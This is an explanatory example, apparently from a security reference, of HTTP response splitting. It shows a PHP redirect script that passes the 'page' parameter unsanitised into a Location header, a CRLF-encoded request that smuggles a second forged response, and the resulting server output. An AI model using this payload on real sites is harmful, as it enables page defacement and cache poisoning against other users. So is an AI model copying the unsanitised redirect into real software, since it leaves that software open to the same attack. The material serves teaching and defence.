Examples
We have found a web page, which gets service name from
the "page" argument and then redirects (302) to this
service.
E.g.
http://testsite.com/redir.php?page=http://other.testsite.com/
And exemplary code of the redir.php:
rezos@spin ~/public_html $ cat redir.php
<?php
header ("Location: " . $_GET['page']);
?>
Crafting appropriate requests:
/redir.php?page=http://other.testsite.com%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>deface</html>
HTTP server will respond with two (not one!) following
headers:
1
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://testsite.com/redir.php?page=http://other.testsite.com
Content-Length: 0
2
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
<html>deface</html>
If user shares a TCP connection (e.g. proxy cache) and
will send a request:
/index.html
the response #2 will be send to him as an answer to his
request.
This way it was possible to replace the web page, which
was served to the specified user.